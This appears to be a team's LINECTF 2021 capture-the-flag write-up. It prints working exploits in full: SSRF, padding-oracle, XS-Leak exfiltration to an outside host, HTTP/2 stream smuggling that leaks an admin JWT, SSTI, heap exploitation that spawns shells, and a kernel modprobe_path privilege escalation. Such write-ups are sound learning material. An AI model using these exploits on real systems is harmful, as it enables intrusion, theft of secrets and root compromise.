Article List

LINECTF 2021 Writeup


Mon Mar 22 2021 04:35:00 GMT+0900 (일본 표준시)
ctfwriteuplinectflinecorpkimchisushiwebpwnmiscrevcrypto

Results

Team Name: KimchiSushi (2nd place)

Team Link: https://ctftime.org/team/145055

Participants

  • stypr
  • rbtree
  • xion
  • mspaint
  • mathboy7
  • payload

Web

Welcome

The flag pops upon accessing the link given on the challenge description. We forgot to write down the flag.

diveinternal

There are two main things in this challenge.

  1. find out where and how to trigger SSRF
  2. find out how to get a key from internal endpoints

SSRF

SSRF part wasn't too difficult to find. We just had to manipulate the Lang and Host header. Note that Host header was modified to overwrite the value of request.host_url

shell
$ curl --http1.0 -v "http://35.190.234.195/apis/coin" -H 'Lang: /addsub' -H 'Host: private:5000'
python
def LanguageNomarize(request):
    if request.headers.get('Lang') is None:
        return "en"
    else:
        regex = '^[!@#$\\/.].*/.*' # Easy~~
        language = request.headers.get('Lang')
        language = re.sub(r'%00|%0d|%0a|[!@#$^]|\.\./', '', language)
        if re.search(regex,language):
            return request.headers.get('Lang')
        
        try:
            data = requests.get(request.host_url+language, headers=request.headers)
            if data.status_code == 200:
                return data.text
            else:
                return request.headers.get('Lang')
        except:
            return request.headers.get('Lang')

Internal Endpoint

After a quick analysis of code, we found out that

  1. We can leak the dbhash in /integrityStatus.
  2. privateKey and Sign function is given
  3. We can use /rollback with Sign header and Key header to get flag. We just need dbhash in this case.

Exploit

python
import requests, hmac, hashlib, json
import time

privateKey = b'let\'sbitcorinparty'

def sign(query):
    return hmac.new(privateKey, query, hashlib.sha512).hexdigest()

def req(ep, headers = {}):
    headers["lang"] = ep
    headers["host"] = "private:5000"
    success = False
    resp = None
    while not success:
        try:
            resp = requests.get("http://35.190.234.195/apis/coin",
                    headers = headers)
            if resp.headers.get("lang", "") != "":
                success = True
        except:
            pass
    return resp.headers["lang"]

def calckey(dbhash):
    return hashlib.sha512(dbhash.encode('ascii')).hexdigest()

prev_dbhash = json.loads(req("integrityStatus"))["dbhash"]
print("Retrieved dbhash #1 : %s" % prev_dbhash)

dbhash = prev_dbhash
key = ""
while True:
    print("Request until dbhash changes")
    while dbhash == prev_dbhash:
        dbhash = json.loads(req("integrityStatus"))["dbhash"]
    key = calckey(dbhash)
    print("Retrieved new dbhash : %s" % dbhash)


    query = "dbhash=%s" % (prev_dbhash)
    print("Query : %s" % query)
    print("Key : %s" % key)

    sig = sign(query)
    print("Signature: %s" % sig)

    resp = req("rollback?%s" % query, {"Sign": sig, "Key": key})
    if 'LINECTF' in resp:
        print(resp)
        break
    dbhash = prev_dbhash

Flag: LINECTF{YOUNGCHAYOUNGCHABITCOINADAMYMONEYISBURNING}

3233

With manipulation of socket.io client, we can join a chatting room between alice and bob without their credential, and even are able to eavesdrop, imitate as them. In the other words, we can act as alice or bob only except sniffing plaintext of chatting.

To eavesdrop their message, following node.js script will work.

javascript
const io = require('socket.io')({ path: '/api/socket' })
const client = require('socket.io-client');
Manager = client.Manager;

HOST = "http://34.85.35.9/"
from = "bob"
to = "alice"

onMessage = function(data){
    console.log(data);
}
onRead = function(data){
    console.log(data);
}

const manager = new Manager(HOST, {
    path: '/api/socket'
})
socket = manager.socket('/')
socket.emit('join', {
    room: [from, to].sort().join(':')
})
socket.on('message', onMessage)
socket.on('read', onRead)
javascript
{
    to: 'bob',
    message: <Buffer 0c f2 13 bc fe 4d 4b 83 35 35 9b 54 d6 fd e6 c5 6e d6 13 d8 62 77 de 26 f4 e1 64 e9 8c 56 38 16 61 7b f5 44 a2 f4 16 3a 4e 5e 1d 14 10 72 38 0d>,
    id: '675833a9-c75d-424a-9b7d-2a1231d5155f',
    from: 'alice'
}

Message is encrypted with AES-CBC, the initial 16 bytes of message is IV of ciphertext. Also, Alice to send Bob flag every 30 seconds, Alice's chatting room is always activated. Thus, when we manipulate message and craft CBC OPA message as Bob, thens send to Alice, reading confirmation can be used as oracle. This implies Oracle Padding Attack can be applied in this challenge, which means we can recover plaintext without their shared secret.

To perform OPA, we selected hand-calculation instead of automation due to the hardness of asynchronous callbacks.

javascript
const io = require('socket.io')({ path: '/api/socket' })
const client = require('socket.io-client');
Manager = client.Manager;

HOST = "http://34.85.35.9/"
from = "bob"
to = "alice"

FLAGS = Array(256);
DICT = {};
DICT_CNT = 0;
READ_CNT = 0;
for(let i=0; i<256; i++)
    FLAGS[i] = 0;

SEARCHING_BACK_IDX = 8 + 16; //Edit here too

let ct = [ /* Progress Vector */]

onMessage = function(data){
    msg = Uint8Array.from(data.message);
    DICT[data.id] = msg[msg.length - SEARCHING_BACK_IDX];
    DICT_CNT++;
    if(DICT_CNT % 10 == 0) {
        console.log(`Received ${DICT_CNT}`);
    }
}

onRead = function(data){
   FLAGS[DICT[data.id]] = 1;
   console.log(`New Read added : ${DICT[data.id]}`);
}

const manager = new Manager(HOST, {
    path: '/api/socket'
})
socket = manager.socket('/')
socket.emit('join', {
    room: [from, to].sort().join(':')
})
socket.on('message', onMessage)
socket.on('read', onRead)


for(let i=0; i<256; i++) {
    ct[ct.length - SEARCHING_BACK_IDX] = i;
    socket.emit('message', {
        from: "bob",
        to: "alice",
        message: Buffer.from(ct)
    });
}

solve.xlsx - Google Spreadsheet

Flag: LINECTF{3av3sdr0pr3p1ay0rac13!}

Janken

After static analaysis of jar file, we noticed there is nothing about flag in the code. Thus, we were started to find something strong primitives like RCE or SSTI.

java
    String ip = request.getRemoteAddr();
    byte[] data = IOUtils.toByteArray((InputStream)request.getInputStream());
    if (this.jankenService.abuseUserCheck(ip)) {
      Socket socket = new Socket("localhost", 5111);
      JankenAbuseDataLogger jad = new JankenAbuseDataLogger(socket, data);
      jad.run();
    } 
java
public class JankenAbuseDataLogger extends Thread {
  private byte[] data;
  
  private OutputStream os;
  
  public JankenAbuseDataLogger(Socket socket, byte[] bytes) throws Exception {
    this.data = bytes;
    this.os = socket.getOutputStream();
    this.data = bytes;
  }
  
  public void run() {
    try {
      this.os.write(this.data, 0, this.data.length);
      this.os.flush();
      this.os.close();
    } catch (IOException iOException) {}
  }
}

In abused user logging system, it establishes connection to localhost:5111 and pipes raw http body to its socket. In the other words, when we have abuse user's account, we get raw socket communiction like nc to localhost:5111 in server side. Now we have SSRF to localhost:5111

Also there is an extra binary, logger binary. It was perfectly matched with logger4j socket example. CVE-2019-17571 is a security bug of logger4j 1.2.x, which unserializes any input of untrusted user via socket communication. All of us strongly agreed this challenge can be solved with this CVE.

To be abused user, it is easy. Because register handler maps user input as user interface directly, we can manipulate winCount directly. Following HTTP request will register user as abused user.

shell
PUT http://34.85.120.233/register HTTP/1.1
Host: 34.85.120.233
Connection: keep-alive
Content-Length: 33
Pragma: no-cache
Cache-Control: no-cache
Accept: */*
X-Requested-With: XMLHttpRequest
Content-Type: application/json
Origin: http://34.85.120.233
Referer: http://34.85.120.233/
Accept-Encoding: gzip, deflate
Accept-Language: ko-KR,ko;q=0.9

{"name":"aaaaab", "winCount":"11"}

The rest part is, generate gadget chain using ysoserial and SSRF it!

FLAG : LINECTF{janken_is_really_engaging_and_fun_to_play}

Your Note

We found out tha this challenge was somewhat related to XS-Leaks as the challenge contains a search feature and a crawler.

Challenge description as follows:

Secure private note service
※ Admin have disabled some security feature of their browser...

Flag Format: LINECTF{[a-z0-9-]+}

Quick reading the source code showed us that (1) files can be exported as attachments (2) some of browser security mechanisms are disabled (3) there is a limitation on the URL, so we need to trigger Open Redirect

javascript
 if (url && url.startsWith(base_url + '/') && // ~~~~~~~~~~~~~~~
        proof && prefix && verify(proof, prefix)) {
        const browser = await puppeteer.launch({
            args: [
                '--no-sandbox',
                '--disable-popup-blocking',
            ],
            headless: true,
        });
        const page = await browser.newPage();

The only thing we now have is to find out how to redirect. After an another round of source code review, we found out that redirect parameter on /login can be bypassed easily.

javascript
 if (url && url.startsWith(base_url + '/') && // @158.101.144.10/xs/st.html
        proof && prefix && verify(proof, prefix)) {
        const browser = await puppeteer.launch({
            args: [
                '--no-sandbox',
                '--disable-popup-blocking',
            ],
            headless: true,
        });
        const page = await browser.newPage();

Exploit

We created a quick script to leak flag from the admin's account.

javascript
<script>
// http://34.84.94.138/[email protected]/xs/st.html
// LINECTF{1-kn0w-what-y0u-d0wn10ad}
var flag = "LINECTF{";
var start = "1-kn0w-what-y0u-"; 

function run(){
  let charset = "abcdefghijklmnopqrstuvwxyz-}0123456789";
  (async () => {
    for (var i = 0; i < charset.length; i++) {
      var c = charset[i];
      f = open("", "_blank");
      setTimeout(() => {
        f.location = "http://34.84.94.138/search?q=" + flag + start + c + "&download=true&stypr=n";
        // f.location = "http://34.84.72.167/search?q=" + flag + start + c + "&download=true&stypr=n";
      });
      let res = await new Promise(resolve => {
        setTimeout(() => {
          let res = false;
          try {
            f.a;
            console.info('found!');
            res = true;
          } catch (e) {
            console.info('not found!');
          }
          new Image().src = "https://harold.kim/?" + flag + start + c + ":" + res;
          if(res){
            start += c
          }
          resolve(res);
        }, 200)
      });
      f.close();
      if (res){
         run();
         break;
      }
    }
  })();
}
run();
</script>

Flag: LINECTF{1-kn0w-what-y0u-d0wn10ad}

babyweb

After a quick review of the source code, we found out a very weird behavior on the service.

python

            elif data["type"] == "2":
                conn = create_connection()
                conn.request("GET", "/health")
                resp = conn.get_response()

                headers = {
                    cfg["HEADER"]["USERNAME"]: cfg["ADMIN"]["USERNAME"],
                    cfg["HEADER"]["PASSWORD"]: cfg["ADMIN"]["PASSWORD"]
                }
                conn.request("GET", "/auth", headers=headers)
                resp = conn.get_response()

                conn._new_stream()
                
                conn._send_cb(data["data"].encode('latin-1'))
                conn._sock.fill()
                return conn._sock.buffer.tobytes()

After reading that hyper's source code (hyper/http20/connection.py), we found out that _send_cb send the arbitrary data over the connected stream socket. From here, we decided to dig deeper.

Leaking the flag is as easy as (1) finding a way to get JWT token response (2) finding a way to retrieve flag from the server with the token retrieved from (1). The problem is to find out how to craft a fully-working HEADER stream.

After learning hpack and hyper's module, we managed to craft send and receive requests to /auth.

python

import requests
import hpack
from hyperframe.frame import *


def header(id):
    enc = hpack.Encoder()
    h = enc.encode({
        ':path': '/auth',
        ':method': 'GET',
        ':authority': 'babyweb_internal',
        ':scheme': 'https'
    })
    p = HeadersFrame(id, h)
    p.flags.add('END_HEADERS')
    p = p.serialize()
    return p


def window_update(id):
    p = WindowUpdateFrame(id, 0x3fffff01)
    return p.serialize()


def data(id):
    p = DataFrame(id)
    return p.serialize()


sess = requests.Session()
HOST = '35.187.196.233'
HOST = '34.85.38.159'
r = sess.post('http://' + HOST + '/internal/health', json={
    'data': b''.join([header(7)]).decode('latin-1'),
    'type': '2'
})
content = r.content
print(content)
while content:
    frame, length = Frame.parse_frame_header(content[:9])
    print(frame, length)
    content = content[9 + length:]

But the problem was that we still didn't have control to pass admin headers. We also found out that HTTP2 has Huffman Coding and some of useful information can be re-referenced and re-used in the upcoming stream. Since we didn't have any information about the previous stream's header, we decided to bruteforce a bit to re-use the header.

python
import requests
import hpack
from hyperframe.frame import *


def header(id, idx):
    enc = hpack.Encoder()

    h1 = enc._encode_indexed(idx)
    h2 = enc._encode_indexed(idx + 1)
    ha = enc.encode({
        ':path': '/auth',
        ':method': 'GET' })

    hb = enc.encode({
        ':authority': 'babyweb_internal',
        ':scheme': 'hr'
    })
    h = ha + hb + h1 + h2

    p = HeadersFrame(id, h)
    p.flags.add('END_HEADERS')
    p = p.serialize()
    return p


def window_update(id):
    p = WindowUpdateFrame(id, 0x3fffff01)
    return p.serialize()


def data(id):
    p = DataFrame(id)
    return p.serialize()


sess = requests.Session()
HOST = '35.187.196.233'

for i in range(128):
    r = sess.post('http://' + HOST + '/internal/health', json={
        'data': b''.join([header(7, i)]).decode('latin-1'),
        'type': '2'
    })

    content = r.content
    print("")
    print(i)
    print(content)
    while content:
        frame, length = Frame.parse_frame_header(content[:9])
        print(frame, length)
        content = content[9 + length:]

We managed to leak the JWT token, as seen in the following output

...

64
b'\x00\x00\x04\x03\x00\x00\x00\x00\x07\x00\x00\x00\x01'
RstStreamFrame(Stream: 7; Flags: None): 00000000 4

65
b'\x00\x00\x02\x01\x04\x00\x00\x00\x07\x88\xbe\x00\x00\xab\x00\x01\x00\x00\x00\x07{"result":true,"token":"eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyIjoiYWRtaW4iLCJyb2xlIjoiYWRtaW4iLCJpYXQiOjE2MTYyNzQxMjh9.dKRk5DtUGJGv94xnNEm0XqEt2Jb7MONZfRU43JoBsSk"}'
HeadersFrame(Stream: 7; Flags: END_HEADERS):  2
DataFrame(Stream: 7; Flags: END_STREAM):  171

66
b'\x00\x00\x04\x03\x00\x00\x00\x00\x07\x00\x00\x00\x01'
RstStreamFrame(Stream: 7; Flags: None): 00000000 4

...

With the leak JWT token, we can now leak the flag with the following code

python
import requests
import hpack
from hyperframe.frame import *


def header(id):
    enc = hpack.Encoder()
    h = enc.encode({
        ':path': '/flag',
        ':method': 'GET',
        ':authority': 'babyweb_internal',
        ':scheme': 'https',
        'x-token': 'eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyIjoiYWRtaW4iLCJyb2xlIjoiYWRtaW4iLCJpYXQiOjE2MTYyNzQxMjh9.dKRk5DtUGJGv94xnNEm0XqEt2Jb7MONZfRU43JoBsSk'
    })
    p = HeadersFrame(id, h)
    p.flags.add('END_HEADERS')
    p = p.serialize()
    return p


def window_update(id):
    p = WindowUpdateFrame(id, 0x3fffff01)
    return p.serialize()


def data(id):
    p = DataFrame(id)
    return p.serialize()


sess = requests.Session()
HOST = '35.187.196.233'
r = sess.post('http://' + HOST + '/internal/health', json={
    'data': b''.join([header(7)]).decode('latin-1'),
    'type': '2'
})
content = r.content
print(content)
while content:
    frame, length = Frame.parse_frame_header(content[:9])
    print(frame, length)
    content = content[9 + length:]

Flag: LINECTF{this_ch4ll_1s_really_baby_web}

babysandbox

javascript
    merge(saveOptions, options)
    merge(saveOptions, req.body)

    console.log('so 1:', saveOptions);

    if(saveOptions.filename === undefined || saveOptions.contents === undefined ||
        typeof saveOptions.filename !== 'string' || typeof saveOptions.contents !== 'string') 
        isChecked = false

    if(!saveOptions.ext.includes('.ejs') || saveOptions.ext.length !== 4) isChecked = false;
    console.log('ischecked #1 : ', isChecked);

There are strict checks in saveOptions.filename and saveOptions.contents, we can't do anything on them. However, saveOptions.ext is only checked by .includes() and .length, which both of them are also implemented in array. Following saveOptions.ext can pass the constraint check.

saveOptions.ext = ['a', 'b', 'c', '.ejs']

But, we can't insert <, >, flag(case insensitive) in file content, we have to bypass them before SSTI. But, please carefully read packages.json before you type npm install in terminal.

json
{
  "dependencies": {
    "body-parser": "^1.19.0",
    "ejs": "^3.1.6",
    "express": "^4.17.1",
    "hbs": "^4.1.1",
    "morgan": "^1.10.0"
  }
}

handlebars is also installed in server, we can render handlerbars instead of ejs without <, >. Following saveOptions.ext and template will render flag without any problem.

saveOptions.ext = ['a', 'b', '.ejs', '.hbs']

handlebars
{{#with this as |k|}}
  {{#with "AAag"}}
    {{#with (replace "AA" "fl") as |payload|}}
      {{lookup k payload}}
    {{/with}}
  {{/with}}
{{/with}

FLAG : LINECTF{I_think_emilia_is_reallllly_t3nshi}

RE

SQG (rev)

In rootfs.cpio, there is a TEE application and a program communicating with it. We recovered the TA-decrypting key after analyzing bl32_extra1.bin; it was based on an open-source TEE framework, so we could compare the binary with them to recover the names of function inside. By using AES-GCM with a hardcoded key in the binary, we could decrypt the TA. Since it was not in printable characters, we submitted the hex version of key.

FLAG: LINECTF{55daff3286b64f55b08fe16f9ee93ab131293645ed44a9b46a4f435c516101f1}

Sakura

This is solved in an unintended way. It was just solvable by sending 1, 1, 1, 1, 1, 2, 4.

shell
 nc 34.84.178.140 13000
Loading...
Account: 0x66ab6d9362d4f35596279692f0251db635165871
Account: 0x33a4622b82d4c04a53e170c638b944ce27cffce3
Account: 0x0063046686e46dc6f15918b61ae2b121458534a5
Set player account a balance of 100 ETH
Compiling...
Deploying the contract...
Contract address: 0xe7cb1c67752cbb975a56815af242ce2ce63d3113
--------------------------------------
Welcome to Timeless Sakura Prediction Game

- You can get ETHs if you predict the future.
- Oracle system that go beyond powerful time will judge.
- We have GOD level BFT consensus model, Ethereum based single node blockchain.
  (Yeah, We've solved the bloody byzantine general problem)
- We use a smart contract engine based on a powerful EVM, the World computer.

--------------------------------------
Today's question is

    What will be the weather tomorrow?

    1) Sunny
    2) Rainy

--------------------------------------
1) Bet
2) Cancel
3) Get Player's Balance
4) Finalize
> 1
1
answer> 1
1
--------------------------------------
1) Bet
2) Cancel
3) Get Player's Balance
4) Finalize
> 1
1
answer> 1
1
Tx Reverted: [ 'Invalid state' ] { error: 'revert', errorType: 'VmError' }
Tx Reverted: [ 'Invalid state' ] { error: 'revert', errorType: 'VmError' }
--------------------------------------
1) Bet
2) Cancel
3) Get Player's Balance
4) Finalize
> 1
1
answer> 2
2
Tx Reverted: [ 'Invalid state' ] { error: 'revert', errorType: 'VmError' }
Tx Reverted: [ 'Invalid state' ] { error: 'revert', errorType: 'VmError' }
--------------------------------------
1) Bet
2) Cancel
3) Get Player's Balance
4) Finalize
> 4
4
Oracle response: 1
win!
LINECTF{S4kura_hira_hira_come_to_spring}

Crypto

babycrypto1

It's possible to change the encrypted block that contains the command. Get the encrypted block with send and include it in the payload.

python
from pwn import *
import base64

r = remote('35.200.115.41', 16001)

r.recvuntil('Command: ')
data = base64.b64decode(r.recvuntil('\n').decode().strip())
iv, data = data[:16], data[16:]

r.recvuntil('IV...: ')
r.sendline(base64.b64encode(data[-32:-16]))

r.recvuntil('Message...: ')
r.sendline(base64.b64encode(b'show'))

r.recvuntil('Ciphertext:')
tdata = base64.b64decode(r.recvuntil('\n').decode().strip())
tiv, tdata = tdata[:16], tdata[16:]

data = data[:-16] + tdata

r.recvuntil('Enter your command: ')
r.sendline(base64.b64encode(iv + data))

r.interactive()

The flag is LINECTF{warming_up_crypto_YEAH}.

babycrypto2

It's possible to change the command by modifying the IV.

python
from pwn import *
import base64

r = remote('35.200.39.68', 16002)

r.recvuntil('Command: ')
data = base64.b64decode(r.recvuntil('\n').decode().strip())
iv, data = data[:16], data[16:]

iv = bytearray(iv)

iv[9] ^= ord('t') ^ ord('s')
iv[10] ^= ord('e') ^ ord('h')
iv[11] ^= ord('s') ^ ord('o')
iv[12] ^= ord('t') ^ ord('w')

r.recvuntil('Enter your command: ')
r.sendline(base64.b64encode(iv + data))

r.interactive()

The flag is LINECTF{echidna_kawaii_and_crypto_is_difficult}.

babycrypto3

The modulus is quite short (394-bit). It's able to factorize with yafu.

P78 = 109249057662947381148470526527596255527988598887891132224092529799478353198637
P42 = 291664785919250248097148750343149685985101
python
from Crypto.Util.number import *

N = 0x0328b14139a2e54b88a4662f1a67cc3acd1929c9b62794bb64916aff02991f80456e4d0eed4d591df7708d5af2e9b4fb5689
p = 109249057662947381148470526527596255527988598887891132224092529799478353198637
q = 291664785919250248097148750343149685985101

e = 0x10001

with open('ciphertext.txt', 'rb') as f:
    enc = int.from_bytes(f.read(), 'big')

d = inverse(e, (p - 1) * (q - 1))

flag = pow(enc, d, N).to_bytes(100, 'big')
print(flag)

The flag is base64-encoded, and is LINECTF{CLOSING THE DISTANCE.}.

babycrypto4

The remaining lower bits of k is brute-forcable because it's 16-bit.

python
from Crypto.Util.number import *

data = []
with open('output.txt', 'r') as f:
    for line in f.readlines():
        data.append( list(map(lambda x: int(x, 16), line.strip().split(' '))) )

order = 0x100000000000000000001f4c8f927aed3ca752257

for kl in range(2 ** 16):
    r, s, kh, h = data[0]
    k = kh + kl
    d = (s * k - h) * inverse(r, order) % order

    flag = True
    count = 0
    for r, s, kh, h in data:
        k = inverse(s, order) * (h + r * d) % order
        if k >> 16 == kh >> 16:
            count += 1
        else:
            flag = False

    if count > 1:
        print(i, kl, count)
    if flag:
        print(d)
        exit(0)

The flag with the encryption key is LINECTF{0c02d451ad3c1ac6b612a759a92b770dd3bca36e}.

Pwn

query_firewall

This is a "make notes" style challenge with a twist of libsqlite3 + extension library. An obvious vulnerability is at block(blob) processing, as the given 8-byte blob is simply interpreted as a node of the singly linked block log list.

Before using the vulnerability, we must first leak library addresses using select hex(fts3_tokenizer('simple'));. Then using block(blob) return value we can leak heap address through select hex(block({blob(fastbinsY)}));

Noting that the client's input buffer is received through read, we have an arbitrarily re-writable section in heap. This can be used to create a fake node that could be inserted to the block log, then re-written so that its data and next ptr are completely attacker controlled. With the former we could achieve arbitrary read, and with the latter achieve arbitrary write at NULL with a "blockable" (fake) node.

The "blockable" constraint is heavy, as the value we wish to overwrite must have a "." or a blocked keyword in the char* located at value+8. To satisfy this constraint, we can allocate persistent malloc chunks through check_query where the allocated chunk is not freed. Due to the use of tolower(), the data that we must write must not contain uppercase letters (which includes chr(0x55)).

We can prepare a fake FILE structure satisfying some constraints, overwrite _IO_2_1_stdin_.chain, then exit to trigger fcloseall() and call an arbitrary function.

python
# -*- coding: future_fstrings -*-

from pwn import *

IP, PORT = '35.200.92.72', 10007
DEBUG = False

context.arch = 'x86_64'
#context.log_level = 'debug'
context.terminal = ['gnome-terminal', '-x', 'sh', '-c']
context.aslr = True

sq3 = ELF('./remote/libsqlite3.so.0.8.6')
libc = ELF('./remote/libc-2.23.so')

def spawn():
    global p
    try:
        p.close()
    except:
        pass
    if DEBUG:
        p = gdb.debug(['./remote/ld-2.23.so', './client'],
                env={'LD_LIBRARY_PATH': './remote'},
                gdbscript="handle SIGALRM ignore\n")
    else:
        p = remote(IP, PORT)


def menu(sel):
    p.sendlineafter('> ', str(sel))

def query(qs):
    menu(2)
    p.sendlineafter('query> ', qs)
    p.recvuntil('now execute it:')
    p.recvlines(2)
    res = []
    while p.recvline(False) == '[ Query result ]':
        res.append(p.recvline(False))
    return res

def show(idx):
    menu(3)
    p.sendlineafter('query index> ', str(idx))
    if 'SQL Error' in p.recvline():
        return None
    else:
        return p.recvuntil('\n\n').split('\n')

def remove():
    menu(4)
    return 'SQL Error' not in p.recvline()

def rev(val):
    return u64(p64(val, endian='le'), endian='be')

def hexdec(hexstr):
    return rev(int(hexstr, 16))

def blob(val):
    return "x'{:016x}'".format(rev(val & ((1 << 64) - 1)))


while True:
    try:
        spawn()

        leak = hexdec(query(f"select hex(FTS3_TOKENIZER('simple'));")[0])
        sq3.address = leak - 0x2d0ce0
        assert sq3.address & 0xfff == 0
        log.success('sqlite3: {:016X}'.format(sq3.address))
        libc.address = sq3.address - 0x3ca000
        log.success('libc:    {:016X}'.format(libc.address))

        val = 0x0137dead0000
        query(f"PRAGMA soft_heap_limit={val};")

        main_arena = libc.sym['__malloc_hook'] + 0x10
        fastbinsY = main_arena + 0x8

        log.info   ('fastbinsY: {:016X}'.format(fastbinsY))

        leak = hexdec(query(f"select hex(block({blob(fastbinsY)}));")[0])
        heap_base = leak - 0x4130
        assert heap_base & 0xfff == 0
        log.success('heap:    {:016X}'.format(heap_base))

        buf = heap_base + 0x3370
        log.info   ('buf:     {:016X}'.format(buf))

        fp = buf + 0x1448
        fptr_stage = fp + 0x40
        log.info   ('fp:      {:016X}'.format(fp))
        log.info   ('fptr_stg:{:016X}'.format(fptr_stage))

        # Need to brute-force several times
        query('Z'*0x3e+'\0\0')
        query('Z'*0x3e+'\0\0')
        query('A'*0x20+p32(0xffffffff)+'AAAA'+'A'*0x10+p64(sq3.address+0x2D4528-0x18))
        query('A'*0x30+'/bin/sh;'+p64(next(sq3.search("create\0"))))
        query('Z'*0x3e+'\0\0')
        query('A'*8+'B'*8+'A'*0x2e+'\0\0')

        val = libc.sym['system']
        query(f"PRAGMA soft_heap_limit={val};")

        query(f"select block({blob(buf + 0x48)});".ljust(0x38, '\x00') + p64(0) +
            p64(0) + p64(0) + p64(next(sq3.search("create\0"))) + p64(0))

        query(f"".ljust(0x38, '\x00') + p64(0) + p64(0) + p64(0) +
                p64(next(sq3.search("create\0")))+p64(libc.sym['_IO_2_1_stdin_']+0x58))

        query(f"select block({blob(fp)});")

        p.sendlineafter('> ', '5')

        p.sendline('cat /flag')
        print(p.recvline())

        break
    except EOFError:
        log.warning('Fail, retry')
        continue
    except KeyboardInterrupt:
        break

Flag: LINECTF{sq1ite_1s_fun_4nd_fun}

bank

There are multiple bugs in this challenge, such as heap overflow by incrementing memo_size by 16, and unintialized stack disclosure in the lottery winner menu.

We could omit null character when the program is asking Name and Address after guessing the 7 numbers using the timestamp seed, and leak the PIE and libc base.

Also, there was a adjacent function pointer around the memo buffer, so we could overwrite it to point an one gadget in libc.so, and call them to get a shell from the server.

python
from ctypes import *
from pwn import *

libc = CDLL('/lib/x86_64-linux-gnu/libc-2.31.so')

# r = process('./Lazenca.Bank')
HOST, PORT = '0.0.0.0', 31338
HOST, PORT = '35.200.24.227', 10002
r = remote(HOST, PORT)


def add_account(v):
    v = str(v)
    r.sendline('6')
    r.sendline(v)
    r.sendline(v)


def login(v):
    v = str(v)
    r.sendline('7')
    r.sendline(v)
    r.sendline(v)


def logout():
    r.sendline(b'8')


def logout_vip():
    r.sendlineafter(b'Input : ', b'9')


def loan():
    r.sendline(b'4')


def lottery():
    r.sendline(b'5')
    libc.srand(libc.time(0) + (HOST != '0.0.0.0'))
    arr = []
    while len(arr) < 7:
        t = libc.rand() % 37 + 1
        if t in arr:
            continue
        arr.append(t)

    for i in range(7):
        r.sendline(str(arr[i]))

    r.sendafter(b'Name : ', '_' * 8)
    r.sendafter(b'Address : ', '_')
    data = r.recvuntil('Menu')
    global libc_base, binary_base
    libc_base = u64(data[0x10:0x16]+b'\x00\x00')-0x94013
    binary_base = u64(data[0x21:0x27]+b'\x00\x00')-0x605f
    print(hex(libc_base))
    print(hex(binary_base))
    print(hexdump(data))


for i in range(10):
    add_account(i)

for i in range(10):
    r.recvuntil(b'Password : ')

for i in range(7, 10):
    print(i)
    login(i)
    for _ in range(7):
        loan()
    logout()

for i in range(3, -1, -1):
    login(i)
    loan()
    lottery()
    lottery()

    # Get minus account
    r.sendlineafter(b'Input : ', b'1')
    r.recvuntil(b'2\n')
    r.recvuntil(b'Account number : ')
    account_num = r.recvuntil(b'\n')[:-1]

    # Transfer
    r.sendlineafter(b'Input : ', b'3')
    r.sendlineafter(b'transfer.', account_num)
    r.sendlineafter(b'transfer.', b'1000')
    r.sendlineafter(b'Input : ', b'1')
    logout_vip()

login(0)
r.sendlineafter(b'Input : ', b'7')
r.sendlineafter(b'Input : ', b'2')
r.sendafter(b'Input : ', b'2')
r.sendline(b'a' * 56 + p64(libc_base + 0xe6c81))
r.sendlineafter(b'Input : ', b'0')

r.sendlineafter(b'Input : ', b'8')
r.sendlineafter(b'transfer.', account_num)
r.sendlineafter(b'transfer.', b'0')
r.interactive()

Flag: LINECTF{llllllllazenca_save_u5}

pprofile

This is a Linux Kernel challenge, and a kernel module library is given. Its ioctl handler has three function: register, remove, and show. The last one used a custom wrapper around copy_user_generic_unrolled, which only disables memory exceptions without any checks.

So we had an arbitrary memory write primitive with the following layout: 0 (4 bytes), 4 byte padding, pid (4 bytes) and 0~8 (4 bytes). This was enough to overwrite modprobe_path into writable path, such as /tmp/x.

By doing fork() on the process until pid & 0xff == [character] and incrementing the target address, we could execute our script with root privilege.

c
// diet gcc exp.c -o exp
#include <stdio.h>
#include <stdlib.h>
#include <fcntl.h>
#include <errno.h>

char buf[32] = "h!yheyhey";

void _(int x)
{
  printf("%d %d\n", x, errno);
  perror("");
}

int fd;

size_t find(size_t start, size_t interval)
{
  size_t addr = start;
  //            0xffffffff82203e90
  while (addr <= 0xffffffffc0400000)
  {
    size_t args[2] = {buf, addr};
    if (ioctl(fd, 16, args) == 0)
    {
      printf("found: %p\n", addr);
      return addr;
    }
    addr += interval;
  }
}

int main()
{
  fd = open("/dev/pprofile", O_RDONLY);
  _(fd);

  {
    size_t args[2] = {buf, 0};
    _(ioctl(fd, 32, args));
  }
  size_t data = find(0xffffffff80000000 + 0x80, 0x200000) - 0x80;
  size_t addr = find(0xffffffffc0000000, 0x1000);
  printf("%p\n", addr + 0x3c0);

  if (fork())
  {
    sleep(10000);
    exit(0);
  }
  char payload[] = "-tmp/";
  size_t args[2] = {buf, data + 0x56F40 - 9};
  for (int j = 0; j < sizeof(payload) - 1; j++)
  {
    while (1)
    {
      if (fork())
        exit(0);
      int pid = getpid();
      if ((pid & 0xff) == payload[j])
      {
        printf("pid: %x\n", pid);
        ioctl(fd, 32, args);
        ioctl(fd, 16, args);
        ioctl(fd, 64, args);
        break;
      }
    }
    args[1]++;
  }
  system("hexdump /proc/sys/kernel/modprobe");
  char shell[] = "#!/bin/sh\ncat /root/flag > /tmp/pwned";
  char buf3[0x100] = "/";
  fd = open("/proc/sys/kernel/modprobe", O_RDONLY);
  read(fd, buf3 + 1, 0xff);
  close(fd);
  puts(buf3);
  char *delim = strchr(buf3, '\n');
  if (delim)
    *delim = 0;
  fd = open(buf3, O_WRONLY | O_CREAT, 0777);
  write(fd, shell, strlen(shell));
  close(fd);
  fd = open("/tmp/ey", O_WRONLY | O_CREAT, 0777);
  write(fd, "\xff\xff\xff\xff\n", 5);
  close(fd);
  execve("/tmp/ey", NULL, NULL);
  system("/tmp/ey; cat /tmp/pwned");
}

Flag: LINECTF{Arbitrary_NULL_write_15_5tr0ng_pr1m1t1v3_both_u53r_k3rn3l_m0d3}

atelier

Given client source code heavily uses duck typing to convert between dict and object. Since __class__ and __module__ can be given, we can instantiate an arbitrary class as an object and update its fields as necessary. __call__ magic method is a prominent attack target since instead of having a method, we can place a callable object with the same name.

